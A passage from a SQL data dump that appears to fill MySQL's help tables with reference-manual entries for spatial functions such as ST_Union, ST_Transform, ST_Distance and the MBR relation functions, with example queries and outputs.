0)) |\n+-----------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(343,'ST_DIFFERENCE',30,'ST_Difference(g1, g2)\n\nReturns a geometry that represents the point set difference of the\ngeometry values g1 and g2. The result is in the same SRS as the\ngeometry arguments.\n\nAs of MySQL 8.0.26, ST_Difference() permits arguments in either a\nCartesian or a geographic SRS. Prior to MySQL 8.0.26, ST_Difference()\npermits arguments in a Cartesian SRS only; for arguments in a\ngeographic SRS, an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_not_implemented_for_geographic_srs) error occurs.\n\nST_Difference() handles its arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','mysql> SET @g1 = Point(1,1), @g2 = Point(2,2);\nmysql> SELECT ST_AsText(ST_Difference(@g1, @g2));\n+------------------------------------+\n| ST_AsText(ST_Difference(@g1, @g2)) |\n+------------------------------------+\n| POINT(1 1) |\n+------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(344,'ST_INTERSECTION',30,'ST_Intersection(g1, g2)\n\nReturns a geometry that represents the point set intersection of the\ngeometry values g1 and g2. The result is in the same SRS as the\ngeometry arguments.\n\nAs of MySQL 8.0.27, ST_Intersection() permits arguments in either a\nCartesian or a geographic SRS. Prior to MySQL 8.0.27, ST_Intersection()\npermits arguments in a Cartesian SRS only; for arguments in a\ngeographic SRS, an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_not_implemented_for_geographic_srs) error occurs.\n\nST_Intersection() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','mysql> SET @g1 = ST_GeomFromText(\'LineString(1 1, 3 3)\');\nmysql> SET @g2 = ST_GeomFromText(\'LineString(1 3, 3 1)\');\nmysql> SELECT ST_AsText(ST_Intersection(@g1, @g2));\n+--------------------------------------+\n| ST_AsText(ST_Intersection(@g1, @g2)) |\n+--------------------------------------+\n| POINT(2 2) |\n+--------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(345,'ST_LINEINTERPOLATEPOINT',30,'ST_LineInterpolatePoint(ls, fractional_distance)\n\nThis function takes a LineString geometry and a fractional distance in\nthe range [0.0, 1.0] and returns the Point along the LineString at the\ngiven fraction of the distance from its start point to its endpoint. It\ncan be used to answer questions such as which Point lies halfway along\nthe road described by the geometry argument.\n\nThe function is implemented for LineString geometries in all spatial\nreference systems, both Cartesian and geographic.\n\nIf the fractional_distance argument is 1.0, the result may not be\nexactly the last point of the LineString argument but a point close to\nit due to numerical inaccuracies in approximate-value computations.\n\nA related function, ST_LineInterpolatePoints(), takes similar arguments\nbut returns a MultiPoint consisting of Point values along the\nLineString at each fraction of the distance from its start point to its\nendpoint. For examples of both functions, see the\nST_LineInterpolatePoints() description.\n\nST_LineInterpolatePoint() handles its arguments as described in the\nintroduction to this section, with these exceptions:\n\no If the geometry argument is not a LineString, an\n ER_UNEXPECTED_GEOMETRY_TYPE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_unexpected_geometry_type) error occurs.\n\no If the fractional distance argument is outside the range [0.0, 1.0],\n an ER_DATA_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_data_out_of_range) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(346,'ST_LINEINTERPOLATEPOINTS',30,'ST_LineInterpolatePoints(ls, fractional_distance)\n\nThis function takes a LineString geometry and a fractional distance in\nthe range (0.0, 1.0] and returns the MultiPoint consisting of the\nLineString start point, plus Point values along the LineString at each\nfraction of the distance from its start point to its endpoint. It can\nbe used to answer questions such as which Point values lie every 10% of\nthe way along the road described by the geometry argument.\n\nThe function is implemented for LineString geometries in all spatial\nreference systems, both Cartesian and geographic.\n\nIf the fractional_distance argument divides 1.0 with zero remainder the\nresult may not contain the last point of the LineString argument but a\npoint close to it due to numerical inaccuracies in approximate-value\ncomputations.\n\nA related function, ST_LineInterpolatePoint(), takes similar arguments\nbut returns the Point along the LineString at the given fraction of the\ndistance from its start point to its endpoint.\n\nST_LineInterpolatePoints() handles its arguments as described in the\nintroduction to this section, with these exceptions:\n\no If the geometry argument is not a LineString, an\n ER_UNEXPECTED_GEOMETRY_TYPE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_unexpected_geometry_type) error occurs.\n\no If the fractional distance argument is outside the range [0.0, 1.0],\n an ER_DATA_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_data_out_of_range) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','mysql> SET @ls1 = ST_GeomFromText(\'LINESTRING(0 0,0 5,5 5)\');\nmysql> SELECT ST_AsText(ST_LineInterpolatePoint(@ls1, .5));\n+----------------------------------------------+\n| ST_AsText(ST_LineInterpolatePoint(@ls1, .5)) |\n+----------------------------------------------+\n| POINT(0 5) |\n+----------------------------------------------+\nmysql> SELECT ST_AsText(ST_LineInterpolatePoint(@ls1, .75));\n+-----------------------------------------------+\n| ST_AsText(ST_LineInterpolatePoint(@ls1, .75)) |\n+-----------------------------------------------+\n| POINT(2.5 5) |\n+-----------------------------------------------+\nmysql> SELECT ST_AsText(ST_LineInterpolatePoint(@ls1, 1));\n+---------------------------------------------+\n| ST_AsText(ST_LineInterpolatePoint(@ls1, 1)) |\n+---------------------------------------------+\n| POINT(5 5) |\n+---------------------------------------------+\nmysql> SELECT ST_AsText(ST_LineInterpolatePoints(@ls1, .25));\n+------------------------------------------------+\n| ST_AsText(ST_LineInterpolatePoints(@ls1, .25)) |\n+------------------------------------------------+\n| MULTIPOINT((0 2.5),(0 5),(2.5 5),(5 5)) |\n+------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(347,'ST_POINTATDISTANCE',30,'ST_PointAtDistance(ls, distance)\n\nThis function takes a LineString geometry and a distance in the range\n[0.0, ST_Length(ls)] measured in the unit of the spatial reference\nsystem (SRS) of the LineString, and returns the Point along the\nLineString at that distance from its start point. It can be used to\nanswer questions such as which Point value is 400 meters from the start\nof the road described by the geometry argument.\n\nThe function is implemented for LineString geometries in all spatial\nreference systems, both Cartesian and geographic.\n\nST_PointAtDistance() handles its arguments as described in the\nintroduction to this section, with these exceptions:\n\no If the geometry argument is not a LineString, an\n ER_UNEXPECTED_GEOMETRY_TYPE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_unexpected_geometry_type) error occurs.\n\no If the fractional distance argument is outside the range [0.0,\n ST_Length(ls)], an ER_DATA_OUT_OF_RANGE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_data_out_of_range) error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(348,'ST_SYMDIFFERENCE',30,'ST_SymDifference(g1, g2)\n\nReturns a geometry that represents the point set symmetric difference\nof the geometry values g1 and g2, which is defined as:\n\ng1 symdifference g2 := (g1 union g2) difference (g1 intersection g2)\n\nOr, in function call notation:\n\nST_SymDifference(g1, g2) = ST_Difference(ST_Union(g1, g2), ST_Intersection(g1, g2))\n\nThe result is in the same SRS as the geometry arguments.\n\nAs of MySQL 8.0.27, ST_SymDifference() permits arguments in either a\nCartesian or a geographic SRS. Prior to MySQL 8.0.27,\nST_SymDifference() permits arguments in a Cartesian SRS only; for\narguments in a geographic SRS, an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_not_implemented_for_geographic_srs) error occurs.\n\nST_SymDifference() handles its arguments as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','mysql> SET @g1 = ST_GeomFromText(\'MULTIPOINT(5 0,15 10,15 25)\');\nmysql> SET @g2 = ST_GeomFromText(\'MULTIPOINT(1 1,15 10,15 25)\');\nmysql> SELECT ST_AsText(ST_SymDifference(@g1, @g2));\n+---------------------------------------+\n| ST_AsText(ST_SymDifference(@g1, @g2)) |\n+---------------------------------------+\n| MULTIPOINT((1 1),(5 0)) |\n+---------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(349,'ST_TRANSFORM',30,'ST_Transform(g, target_srid)\n\nTransforms a geometry from one spatial reference system (SRS) to\nanother. The return value is a geometry of the same type as the input\ngeometry with all coordinates transformed to the target SRID,\ntarget_srid. Prior to MySQL 8.0.30, transformation support was limited\nto geographic SRSs (unless the SRID of the geometry argument was the\nsame as the target SRID value, in which case the return value was the\ninput geometry for any valid SRS), and this function did not support\nCartesian SRSs. Beginning with MySQL 8.0.30, support is provided for\nthe Popular Visualisation Pseudo Mercator (EPSG 1024) projection\nmethod, used for WGS 84 Pseudo-Mercator (SRID 3857). In MySQL 8.0.32\nand later, support is extended to all SRSs defined by EPSG except for\nthose listed here:\n\no EPSG 1042 Krovak Modified\n\no EPSG 1043 Krovak Modified (North Orientated)\n\no EPSG 9816 Tunisia Mining Grid\n\no EPSG 9826 Lambert Conic Conformal (West Orientated)\n\nST_Transform() handles its arguments as described in the introduction\nto this section, with these exceptions:\n\no Geometry arguments that have an SRID value for a geographic SRS do\n not produce an error.\n\no If the geometry or target SRID argument has an SRID value that refers\n to an undefined spatial reference system (SRS), an ER_SRS_NOT_FOUND\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_srs_not_found) error occurs.\n\no If the geometry is in an SRS that ST_Transform() cannot transform\n from, an ER_TRANSFORM_SOURCE_SRS_NOT_SUPPORTED\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_transform_source_srs_not_supported) error occurs.\n\no If the target SRID is in an SRS that ST_Transform() cannot transform\n to, an ER_TRANSFORM_TARGET_SRS_NOT_SUPPORTED\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_transform_target_srs_not_supported) error occurs.\n\no If the geometry is in an SRS that is not WGS 84 and has no TOWGS84\n clause, an ER_TRANSFORM_SOURCE_SRS_MISSING_TOWGS84\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_transform_source_srs_missing_towgs84) error occurs.\n\no If the target SRID is in an SRS that is not WGS 84 and has no TOWGS84\n clause, an ER_TRANSFORM_TARGET_SRS_MISSING_TOWGS84\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_transform_target_srs_missing_towgs84) error occurs.\n\nST_SRID(g, target_srid) and ST_Transform(g, target_srid) differ as\nfollows:\n\no ST_SRID() changes the geometry SRID value without transforming its\n coordinates.\n\no ST_Transform() transforms the geometry coordinates in addition to\n changing its SRID value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','mysql> SET @p = ST_GeomFromText(\'POINT(52.381389 13.064444)\', 4326);\nmysql> SELECT ST_AsText(@p);\n+----------------------------+\n| ST_AsText(@p) |\n+----------------------------+\n| POINT(52.381389 13.064444) |\n+----------------------------+\nmysql> SET @p = ST_Transform(@p, 4230);\nmysql> SELECT ST_AsText(@p);\n+---------------------------------------------+\n| ST_AsText(@p) |\n+---------------------------------------------+\n| POINT(52.38208611407426 13.065520672345304) |\n+---------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(350,'ST_UNION',30,'ST_Union(g1, g2)\n\nReturns a geometry that represents the point set union of the geometry\nvalues g1 and g2. The result is in the same SRS as the geometry\narguments.\n\nAs of MySQL 8.0.26, ST_Union() permits arguments in either a Cartesian\nor a geographic SRS. Prior to MySQL 8.0.26, ST_Union() permits\narguments in a Cartesian SRS only; for arguments in a geographic SRS,\nan ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_not_implemented_for_geographic_srs) error occurs.\n\nST_Union() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html\n\n','mysql> SET @g1 = ST_GeomFromText(\'LineString(1 1, 3 3)\');\nmysql> SET @g2 = ST_GeomFromText(\'LineString(1 3, 3 1)\');\nmysql> SELECT ST_AsText(ST_Union(@g1, @g2));\n+--------------------------------------+\n| ST_AsText(ST_Union(@g1, @g2)) |\n+--------------------------------------+\n| MULTILINESTRING((1 1,3 3),(1 3,3 1)) |\n+--------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-operator-functions.html'),(351,'ST_CONTAINS',31,'ST_Contains(g1, g2)\n\nReturns 1 or 0 to indicate whether g1 completely contains g2. This\ntests the opposite relationship as ST_Within().\n\nST_Contains() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(352,'ST_CROSSES',31,'ST_Crosses(g1, g2)\n\nTwo geometries spatially cross if their spatial relation has the\nfollowing properties:\n\no Unless g1 and g2 are both of dimension 1: g1 crosses g2 if the\n interior of g2 has points in common with the interior of g1, but g2\n does not cover the entire interior of g1.\n\no If both g1 and g2 are of dimension 1: If the lines cross each other\n in a finite number of points (that is, no common line segments, only\n single points in common).\n\nThis function returns 1 or 0 to indicate whether g1 spatially crosses\ng2.\n\nST_Crosses() handles its arguments as described in the introduction to\nthis section except that the return value is NULL for these additional\nconditions:\n\no g1 is of dimension 2 (Polygon or MultiPolygon).\n\no g2 is of dimension 1 (Point or MultiPoint).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(353,'ST_DISJOINT',31,'ST_Disjoint(g1, g2)\n\nReturns 1 or 0 to indicate whether g1 is spatially disjoint from (does\nnot intersect) g2.\n\nST_Disjoint() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(354,'ST_DISTANCE',31,'ST_Distance(g1, g2 [, unit])\n\nReturns the distance between g1 and g2, measured in the length unit of\nthe spatial reference system (SRS) of the geometry arguments, or in the\nunit of the optional unit argument if that is specified.\n\nThis function processes geometry collections by returning the shortest\ndistance among all combinations of the components of the two geometry\narguments.\n\nST_Distance() handles its geometry arguments as described in the\nintroduction to this section, with these exceptions:\n\no ST_Distance() detects arguments in a geographic (ellipsoidal) spatial\n reference system and returns the geodetic distance on the ellipsoid.\n As of MySQL 8.0.18, ST_Distance() supports distance calculations for\n geographic SRS arguments of all geometry types. Prior to MySQL\n 8.0.18, the only permitted geographic argument types are Point and\n Point, or Point and MultiPoint (in any argument order). If called\n with other geometry type argument combinations in a geographic SRS,\n an ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs.\n\no If any argument is geometrically invalid, either the result is an\n undefined distance (that is, it can be any number), or an error\n occurs.\n\no If an intermediate or final result produces NaN or a negative number,\n an ER_GIS_INVALID_DATA\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_gis_invalid_data) error occurs.\n\nAs of MySQL 8.0.14, ST_Distance() permits an optional unit argument\nthat specifies the linear unit for the returned distance value.\nST_Distance() handles its unit argument as described in the\nintroduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','mysql> SET @g1 = ST_GeomFromText(\'POINT(1 1)\');\nmysql> SET @g2 = ST_GeomFromText(\'POINT(2 2)\');\nmysql> SELECT ST_Distance(@g1, @g2);\n+-----------------------+\n| ST_Distance(@g1, @g2) |\n+-----------------------+\n| 1.4142135623730951 |\n+-----------------------+\n\nmysql> SET @g1 = ST_GeomFromText(\'POINT(1 1)\', 4326);\nmysql> SET @g2 = ST_GeomFromText(\'POINT(2 2)\', 4326);\nmysql> SELECT ST_Distance(@g1, @g2);\n+-----------------------+\n| ST_Distance(@g1, @g2) |\n+-----------------------+\n| 156874.3859490455 |\n+-----------------------+\nmysql> SELECT ST_Distance(@g1, @g2, \'metre\');\n+--------------------------------+\n| ST_Distance(@g1, @g2, \'metre\') |\n+--------------------------------+\n| 156874.3859490455 |\n+--------------------------------+\nmysql> SELECT ST_Distance(@g1, @g2, \'foot\');\n+-------------------------------+\n| ST_Distance(@g1, @g2, \'foot\') |\n+-------------------------------+\n| 514679.7439273146 |\n+-------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(355,'ST_EQUALS',31,'ST_Equals(g1, g2)\n\nReturns 1 or 0 to indicate whether g1 is spatially equal to g2.\n\nST_Equals() handles its arguments as described in the introduction to\nthis section, except that it does not return NULL for empty geometry\narguments.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','mysql> SET @g1 = Point(1,1), @g2 = Point(2,2);\nmysql> SELECT ST_Equals(@g1, @g1), ST_Equals(@g1, @g2);\n+---------------------+---------------------+\n| ST_Equals(@g1, @g1) | ST_Equals(@g1, @g2) |\n+---------------------+---------------------+\n| 1 | 0 |\n+---------------------+---------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(356,'ST_FRECHETDISTANCE',31,'ST_FrechetDistance(g1, g2 [, unit])\n\nReturns the discrete Fréchet distance between two geometries,\nreflecting how similar the geometries are. The result is a\ndouble-precision number measured in the length unit of the spatial\nreference system (SRS) of the geometry arguments, or in the length unit\nof the unit argument if that argument is given.\n\nThis function implements the discrete Fréchet distance, which means it\nis restricted to distances between the points of the geometries. For\nexample, given two LineString arguments, only the points explicitly\nmentioned in the geometries are considered. Points on the line segments\nbetween these points are not considered.\n\nST_FrechetDistance() handles its geometry arguments as described in the\nintroduction to this section, with these exceptions:\n\no The geometries may have a Cartesian or geographic SRS, but only\n LineString values are supported. If the arguments are in the same\n Cartesian or geographic SRS, but either is not a LineString, an\n ER_NOT_IMPLEMENTED_FOR_CARTESIAN_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_cartesian_srs) or\n ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs,\n depending on the SRS type.\n\nST_FrechetDistance() handles its optional unit argument as described in\nthe introduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','mysql> SET @ls1 = ST_GeomFromText(\'LINESTRING(0 0,0 5,5 5)\');\nmysql> SET @ls2 = ST_GeomFromText(\'LINESTRING(0 1,0 6,3 3,5 6)\');\nmysql> SELECT ST_FrechetDistance(@ls1, @ls2);\n+--------------------------------+\n| ST_FrechetDistance(@ls1, @ls2) |\n+--------------------------------+\n| 2.8284271247461903 |\n+--------------------------------+\n\nmysql> SET @ls1 = ST_GeomFromText(\'LINESTRING(0 0,0 5,5 5)\', 4326);\nmysql> SET @ls2 = ST_GeomFromText(\'LINESTRING(0 1,0 6,3 3,5 6)\', 4326);\nmysql> SELECT ST_FrechetDistance(@ls1, @ls2);\n+--------------------------------+\n| ST_FrechetDistance(@ls1, @ls2) |\n+--------------------------------+\n| 313421.1999416798 |\n+--------------------------------+\nmysql> SELECT ST_FrechetDistance(@ls1, @ls2, \'foot\');\n+----------------------------------------+\n| ST_FrechetDistance(@ls1, @ls2, \'foot\') |\n+----------------------------------------+\n| 1028284.7767115477 |\n+----------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(357,'ST_HAUSDORFFDISTANCE',31,'ST_HausdorffDistance(g1, g2 [, unit])\n\nReturns the discrete Hausdorff distance between two geometries,\nreflecting how similar the geometries are. The result is a\ndouble-precision number measured in the length unit of the spatial\nreference system (SRS) of the geometry arguments, or in the length unit\nof the unit argument if that argument is given.\n\nThis function implements the discrete Hausdorff distance, which means\nit is restricted to distances between the points of the geometries. For\nexample, given two LineString arguments, only the points explicitly\nmentioned in the geometries are considered. Points on the line segments\nbetween these points are not considered.\n\nST_HausdorffDistance() handles its geometry arguments as described in\nthe introduction to this section, with these exceptions:\n\no If the geometry arguments are in the same Cartesian or geographic\n SRS, but are not in a supported combination, an\n ER_NOT_IMPLEMENTED_FOR_CARTESIAN_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_cartesian_srs) or\n ER_NOT_IMPLEMENTED_FOR_GEOGRAPHIC_SRS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_not_implemented_for_geographic_srs) error occurs,\n depending on the SRS type. These combinations are supported:\n\n o LineString and LineString\n\n o Point and MultiPoint\n\n o LineString and MultiLineString\n\n o MultiPoint and MultiPoint\n\n o MultiLineString and MultiLineString\n\nST_HausdorffDistance() handles its optional unit argument as described\nin the introduction to this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','mysql> SET @ls1 = ST_GeomFromText(\'LINESTRING(0 0,0 5,5 5)\');\nmysql> SET @ls2 = ST_GeomFromText(\'LINESTRING(0 1,0 6,3 3,5 6)\');\nmysql> SELECT ST_HausdorffDistance(@ls1, @ls2);\n+----------------------------------+\n| ST_HausdorffDistance(@ls1, @ls2) |\n+----------------------------------+\n| 1 |\n+----------------------------------+\n\nmysql> SET @ls1 = ST_GeomFromText(\'LINESTRING(0 0,0 5,5 5)\', 4326);\nmysql> SET @ls2 = ST_GeomFromText(\'LINESTRING(0 1,0 6,3 3,5 6)\', 4326);\nmysql> SELECT ST_HausdorffDistance(@ls1, @ls2);\n+----------------------------------+\n| ST_HausdorffDistance(@ls1, @ls2) |\n+----------------------------------+\n| 111319.49079326246 |\n+----------------------------------+\nmysql> SELECT ST_HausdorffDistance(@ls1, @ls2, \'foot\');\n+------------------------------------------+\n| ST_HausdorffDistance(@ls1, @ls2, \'foot\') |\n+------------------------------------------+\n| 365221.4264870815 |\n+------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(358,'ST_INTERSECTS',31,'ST_Intersects(g1, g2)\n\nReturns 1 or 0 to indicate whether g1 spatially intersects g2.\n\nST_Intersects() handles its arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(359,'ST_OVERLAPS',31,'ST_Overlaps(g1, g2)\n\nTwo geometries spatially overlap if they intersect and their\nintersection results in a geometry of the same dimension but not equal\nto either of the given geometries.\n\nThis function returns 1 or 0 to indicate whether g1 spatially overlaps\ng2.\n\nST_Overlaps() handles its arguments as described in the introduction to\nthis section except that the return value is NULL for the additional\ncondition that the dimensions of the two geometries are not equal.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(360,'ST_TOUCHES',31,'ST_Touches(g1, g2)\n\nTwo geometries spatially touch if their interiors do not intersect, but\nthe boundary of one of the geometries intersects either the boundary or\nthe interior of the other.\n\nThis function returns 1 or 0 to indicate whether g1 spatially touches\ng2.\n\nST_Touches() handles its arguments as described in the introduction to\nthis section except that the return value is NULL for the additional\ncondition that both geometries are of dimension 0 (Point or\nMultiPoint).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(361,'ST_WITHIN',31,'ST_Within(g1, g2)\n\nReturns 1 or 0 to indicate whether g1 is spatially within g2. This\ntests the opposite relationship as ST_Contains().\n\nST_Within() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-object-shapes.html'),(362,'MBRCONTAINS',32,'MBRContains(g1, g2)\n\nReturns 1 or 0 to indicate whether the minimum bounding rectangle of g1\ncontains the minimum bounding rectangle of g2. This tests the opposite\nrelationship as MBRWithin().\n\nMBRContains() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html\n\n','mysql> SET @g1 = ST_GeomFromText(\'Polygon((0 0,0 3,3 3,3 0,0 0))\');\nmysql> SET @g2 = ST_GeomFromText(\'Point(1 1)\');\nmysql> SELECT MBRContains(@g1,@g2), MBRWithin(@g2,@g1);\n+----------------------+--------------------+\n| MBRContains(@g1,@g2) | MBRWithin(@g2,@g1) |\n+----------------------+--------------------+\n| 1 | 1 |\n+----------------------+--------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html'),(363,'MBRCOVEREDBY',32,'MBRCoveredBy(g1, g2)\n\nReturns 1 or 0 to indicate whether the minimum bounding rectangle of g1\nis covered by the minimum bounding rectangle of g2. This tests the\nopposite relationship as MBRCovers().\n\nMBRCoveredBy() handles its arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html\n\n','mysql> SET @g1 = ST_GeomFromText(\'Polygon((0 0,0 3,3 3,3 0,0 0))\');\nmysql> SET @g2 = ST_GeomFromText(\'Point(1 1)\');\nmysql> SELECT MBRCovers(@g1,@g2), MBRCoveredby(@g1,@g2);\n+--------------------+-----------------------+\n| MBRCovers(@g1,@g2) | MBRCoveredby(@g1,@g2) |\n+--------------------+-----------------------+\n| 1 | 0 |\n+--------------------+-----------------------+\nmysql> SELECT MBRCovers(@g2,@g1), MBRCoveredby(@g2,@g1);\n+--------------------+-----------------------+\n| MBRCovers(@g2,@g1) | MBRCoveredby(@g2,@g1) |\n+--------------------+-----------------------+\n| 0 | 1 |\n+--------------------+-----------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html'),(364,'MBRCOVERS',32,'MBRCovers(g1, g2)\n\nReturns 1 or 0 to indicate whether the minimum bounding rectangle of g1\ncovers the minimum bounding rectangle of g2. This tests the opposite\nrelationship as MBRCoveredBy(). See the description of MBRCoveredBy()\nfor examples.\n\nMBRCovers() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html'),(365,'MBRDISJOINT',32,'MBRDisjoint(g1, g2)\n\nReturns 1 or 0 to indicate whether the minimum bounding rectangles of\nthe two geometries g1 and g2 are disjoint (do not intersect).\n\nMBRDisjoint() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html'),(366,'MBREQUALS',32,'MBREquals(g1, g2)\n\nReturns 1 or 0 to indicate whether the minimum bounding rectangles of\nthe two geometries g1 and g2 are the same.\n\nMBREquals() handles its arguments as described in the introduction to\nthis section, except that it does not return NULL for empty geometry\narguments.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html'),(367,'MBRINTERSECTS',32,'MBRIntersects(g1, g2)\n\nReturns 1 or 0 to indicate whether the minimum bounding rectangles of\nthe two geometries g1 and g2 intersect.\n\nMBRIntersects() handles its arguments as described in the introduction\nto this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html'),(368,'MBROVERLAPS',32,'MBROverlaps(g1, g2)\n\nTwo geometries spatially overlap if they intersect and their\nintersection results in a geometry of the same dimension but not equal\nto either of the given geometries.\n\nThis function returns 1 or 0 to indicate whether the minimum bounding\nrectangles of the two geometries g1 and g2 overlap.\n\nMBROverlaps() handles its arguments as described in the introduction to\nthis section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/spatial-relation-functions-mbr.html'),(369,'MBRTOUCHES',32,'MBRTouches(g1, g2)\n\nTwo geometries spatially touch if their interiors do not intersect, but\nthe boundary of one of the geometries intersects either the boundary or\nthe interior of the other.\n\nThis function returns 1 or 0 to indicate whether the minimum bounding\nrectangles of the two geometries g1 and g2 touch.\n\nMBRTouches() handles its arguments as described in the introduction to\nthis 